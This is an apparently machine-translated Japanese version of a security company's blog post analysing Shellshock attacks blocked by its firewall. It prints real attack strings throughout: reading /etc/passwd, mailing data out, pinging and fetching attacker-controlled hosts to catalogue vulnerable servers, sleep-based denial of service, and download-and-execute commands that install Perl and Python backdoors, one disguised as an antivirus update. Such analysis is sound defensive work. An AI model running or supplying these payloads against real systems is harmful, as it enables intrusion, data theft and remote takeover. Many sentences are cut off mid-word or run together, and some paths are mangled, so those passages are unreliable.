Shellshockの内部:ハッカーがシステムを悪用するためにそれを使用している方法

先週の水曜日に、Shellshock bashのバグの詳細が明らかになりました。 このバグは、脆弱なバージョンのbashを使用して、コンピュータ、サーバー、ルーター、ファイアウォール、およびその他のコンピューティングアプライアンスにパッチを適用するためのスクランブルを開始しました。

CloudFlareは、Webアプリケーションファイアウォールを通じてPro、Business、Enterpriseのお客様の保護をすぐにロールアウトしました。 日曜日に、問題の程度を調査し、WAFによって停止された攻撃のログを見た後、私たちは無料プランのお客様にも保護を展開することにしました。

それ以来、私たちは、彼らがどのように見えるか、そして彼らがどこから来たのかを理解するために、私たちが停止した攻撃を監視してきました。 私たちの観察に基づいて、ハッカーが世界中のShellshockを悪用していることは明らかです。


(CC BY2.0aussiegall)

Eject

Shellshockの問題は、任意のコード実行(ACE)の脆弱性の例です。 通常、ACE脆弱性攻撃は実行中のプログラムに対して実行され、コード実行、メモリレイアウト、アセンブリ言語の内部を高度に理解する必要があります。

攻撃者はまた、ACEの脆弱性を使用して、対象となるマシンを簡単に制御する方法を提供するプログラムをアップロードまたは実行します。 これは、多くの場合、”シェル”を実行することによって達成されます。 シェルは、コマンドを入力して実行できるコマンドラインです。

Shellshockの脆弱性は、専門的な知識の必要性を排除し、別のコンピュータ(webサーバーなど)を制御してコードを実行させる単純な(残念ながら非常に単純な)方法を提供

webサーバーを攻撃し、そのCDまたはDVDドライブのスライドを開いた状態にしたいとします。

実際には、Linuxにはそれを行うコマンドがあります:/bin/eject。 WebサーバーがShellshockに対して脆弱な場合は、魔法の文字列() { :; };/bin/ejectに追加し、その文字列をHTTP経由でターゲッ 通常、User-Agent文字列は使用しているブラウザの種類を識別しますが、Shellshock脆弱性の場合は何でも設定できます。

たとえば、次の場合example.com その後、脆弱だった

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

実際にCDまたはDVDドライブをイジェクトするのに十分でしょう。

私たちがブロックしたShellshock攻撃を監視する際に、実際に誰かがその攻撃を正確に試みているのを見ました。 そのため、webサーバーを実行して突然取り出されたDVDを見つけた場合、マシンがShellshockに対して脆弱であることを示している可能性があります。

その単純な攻撃が機能する理由

webサーバーがページの要求を受信すると、Shellshock攻撃の影響を受けやすい要求の三つの部分があります: リクエストURL、URLとともに送信されるヘッダー、および”引数”と呼ばれるもの(webサイトに名前とアドレスを入力すると、通常はリクエストの引数として送たとえば、CloudFlareのホームページを取得する実際のHTTPリクエストは次のとおりです。

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

この場合、URLは/(メイン、等。 これらのヘッダーは、webブラウザの機能、優先言語、探しているwebサイト、および使用しているブラウザに関する情報をwebサーバーに提供します。

これらがwebサーバー内で変数に変換されて、webサーバーがそれらを調べることができることは珍しいことではありません。 (Webサーバーは、私の好みの言語が何であるかを知りたいので、私にどのように応答するかを決めることができます)。たとえば、CloudFlareホームページの要求に応答するwebサーバー内で、要求ヘッダーを文字ごとにコピーすることによって、次の変数が定義されている可能性があります。

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

これらの変数がwebサーバーソフトウェア内に残り、webサーバー上で実行されている他のプログラムに渡されない限り、サーバーは脆弱ではありません。Shellshockは、変数が”bash”と呼ばれるシェルに渡されたときに発生します。 Bashは、Linuxシステムで使用される一般的なシェルです。 Webサーバーは、要求に応答するために他のプログラムを実行する必要があることがよくあり、これらの変数はbashまたは別のシェルに渡されることが一般

シェルショックの問題は、攻撃者が元のHTTPリクエストを変更して、上記で説明した魔法の() { :; };文字列を含む場合に特に発生します。攻撃者が上記のUser-AgentヘッダーをMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36() { :; }; /bin/ejectに変更したとします。 これにより、webサーバー内に次の変数が作成されます:その変数がwebサーバーによってbashに渡されると、Shellshockの問題が発生します。 これは、bashには() { :; };HTTP_USER_AGENTを特別な意味のない一連の文字として扱うのではなく、bashはそれを実行する必要があるコマンドとして解釈します(() { :; };がbashをこのように動作させる理由の深い技術的な説明を省略しましたこのエッセイの明快さのために。問題は、HTTP_USER_AGENTUser-AgentUser-Agentヘッダーは、HTTP要求でwebサーバーに入ってくるため、攻撃者が制御するものです。 これは、攻撃者が脆弱なサーバーに必要なコマンドを実行させる可能性があるため、災害のレシピです(以下の例を参照)。解決策は、bashを解釈しないバージョンにアップグレードすることです() { :; };特別な方法で。

攻撃がどこから来ているか

すべての顧客の保護を展開したとき、私たちは試みられたシェルショック攻撃の数を監視できるメトリッ 彼らはすべてHTTP403Forbiddenエラーコードを受け取りましたが、いつ発生したかのログと攻撃に関する基本情報を保持していました。

このグラフは、すべての顧客に保護を展開して以来、CloudFlareネットワーク全体で毎秒攻撃の数を示しています。CloudFlareがShellshock保護をオンにした瞬間から今朝早くまで、毎秒10から15の攻撃が見られていました。 攻撃量の順に、これらの要求はフランス(80%)、米国(7%)、オランダ(7%)から来ており、その後、他の多くの国からのより少ない量でした。

0100Pacific(パリでは1000)頃、フランスからの攻撃は中止された。 私たちは現在、毎秒5回の攻撃を見ています。 執筆時点では、1.1m以上のShellshock攻撃をブロックしています。

あなたの想像力が野生実行してみましょう

Shellshockで脆弱なマシンを攻撃するのはとても簡単なので、脆弱なマシンはそれに送信されたコマンCloudFlareのWAFはリクエストをブロックした理由をログに記録し、実際に使用されているShellshock文字列を抽出して分析することができます。

CloudFlareのWAFは、使 Shellshockは主に偵察のために使用されています:個人情報を抽出し、攻撃者がサーバーの制御を得ることを可能にするために。

Shellshockコマンドのほとんどは、HTTP User-AgentとRefererヘッダーを使用して注入されていますが、攻撃者はGET引数とPOST引数、その他のランダムなHTTPヘッダーも使用しています。

個人情報を抽出するために、攻撃者はいくつかの技術を使用しています。 最も単純な抽出攻撃の形式は次のとおりです。

() {:;}; /bin/cat /etc/passwd

パスワードファイル/etc/passwdを読み取り、webサーバーからの応答 そのため、Shellshockの脆弱性を介してこのコードを注入する攻撃者は、パスワードファイルが返されたwebページの一部として画面にダンプされるのを見ます。

ある攻撃では、単にプライベートファイルを自分自身に電子メールで送信します。 電子メールを介してデータを取得するには、攻撃者は次のようなmailコマンドを使用しています。

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

そのコマンドは最初にwhoamiを実行し、webサーバーを実行しているユーザーの名前を調べます。 これは、webサーバーがroot(何でもできるスーパーユーザー)として実行されている場合、サーバーが特に豊富なターゲットになるため、特に便利です。

その後、攻撃されているwebサイトの名前と一緒にユーザー名を送信します(example.com 以上)をメールで送信してください。 電子メールの件名には、webサイトの名前が表示されます。

攻撃者は自由に電子メールにログインし、どのサイトが脆弱であったかを知ることができます。 同じ電子メール技術は、パスワードファイルのようなデータを抽出するために使用することができます。


(CC BY2.0JD Hancock)

偵察

はるかに私たちが見てきた最も人気のある攻撃(すべての攻撃の約83%)は”偵察”と呼ばれています。 偵察攻撃では、攻撃者はサードパーティのマシンにメッセージを送信するコマンドを送信します。 サードパーティマシンは、それに接続したすべての脆弱なマシンのリストをコンパイルします。

過去には、侵害されたマシンのリストがDDoS、スパム、またはその他の目的のためにボットネットに変換されているのを見てきました。

一般的な偵察技術では、pingコマンドを使用して、攻撃者が制御するサードパーティのサーバーに単一のパケット(pingと呼ばれる)を送信する脆弱 攻撃文字列は次のようになります。

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

pingコマンドは、通常、マシンが”生きている”かオンラインかをテストするために使用されます(生きているマシンは独自のpingで応答します)。 WebサーバーがShellshockに対して脆弱である場合、単一のpingパケット(-c 1-pによって設定されたペイロードを持つcom。 ペイロードは攻撃者によって作成された一意のIDであり、攻撃者はpingを脆弱なwebサイトに追跡することができます。

脆弱なサーバーを識別するために使用されている別の技術は、webサーバーが攻撃者が制御するマシンからwebページをダウンロー その後、攻撃者はwebサーバーのログを調べて、どのマシンが脆弱であるかを調べることができます。 この攻撃は、次のようなShellshock文字列を送信することによって機能します:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

攻撃者は次のwebサーバーログを調べますattacker-controlled.com エントリー用。 ダウンロードされたページは、攻撃されているサイトの名前を明らかにするために攻撃者によって設定されます。 ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA==は、実際には攻撃されたサイトが次のようになっていることを示すコードですexample.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA==実際にはbase64エンコードされた文字列です。 デコードされると、次のようになります。

example.comShellShockSalt

この文字列から、攻撃者は例に対する攻撃かどうかを知ることができます。comは成功し、もしそうなら、彼らは後でそのサイトをさらに悪用するために戻って行くことができます。 私はターゲットだったドメインを置き換えましたが、実際にはShellShockSaltをハッシュの塩として使用している実際の例を見て

サービス拒否

別のシェルショック攻撃は、この文字列を使用しています

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

sleepコマンドを三つの異なる方法で実行しようとします(システムの構成がわずかに異なるため、sleepはディレクトリ/bin/bin/bin/bin/bin/bin/usr/binsleepを実行するスレッドまたはプロセスが20秒間他に何もしないため、マシン上のリソースを消費します。これはおそらく、すべてのサービス拒否の中で最も単純なものです。

攻撃者は、単にしばらくの間、スリープ状態にマシンを指示します。 これらのコマンドを十分に送信すると、マシンは何もしないように縛られ、正当な要求を処理できなくなる可能性があります。


(CC BY2.0peter castleton)

制御を取る

これまでに見た攻撃の約8%は、サーバーを直接制御することを目的としています。 リモートコントロール攻撃は次のようになります。

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

このコマンドは、2つのプログラム(wgetcurl)を使用して、攻撃者が制御するサーバーからプログラムをダウンロードしようとします。 プログラムはPerl言語で書かれており、一度ダウンロードするとすぐに実行されます。 このプログラムは、脆弱なwebサーバーへの攻撃者のリモートアクセスを設定します。

別の攻撃は、脆弱なマシン上で任意のコマンドをリモートで実行するために使用できるプログラムを設定するためにPython言語を使用しています:P>

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

cl.pyダウンロードされたプログラムは、ClamAVウイルス対策プログラムの更新のようになります。 5秒の遅延の後、攻撃はダウンロードされたファイルを削除することによって(メモリ内でのみ実行されたままにする)、それ自体の後にクリーンアップ


(CC BY2.0Jeff Taylor)

ターゲット選択

攻撃されているwebサイトと要求されているUrlを見ると、攻撃されている特定のwebアプリケー

攻撃された上位のUrlは次のとおりです。/(23.00%),/cgi-bin-sdb/printenv(15.12%),/cgi-mod/index.cgi(14.93%),/cgi-sys/entropysearch.cgi(15.20%)および/cgi-sys/defaultwebpage。(14.59%) これらのUrlの中には、一般的なwebアプリケーションやハードウェアアプライアンスでも使用されているものもあります。

攻撃の23%がcPanel webホスティング制御ソフトウェア、15%が古いApacheインストール、15%がWebベースのインターフェイスを持つBarracudaハードウェア製品に対して向けられているようである。

後者は、Shellshockが単なるwebサイトへの攻撃ではないという事実を強調しているため、興味深いものです。 それは、ハードウェアデバイス、セットトップボックス、ラップトップコンピュータ、さらには、おそらく、電話を含むことができます。

コメントを残す

メールアドレスが公開されることはありません。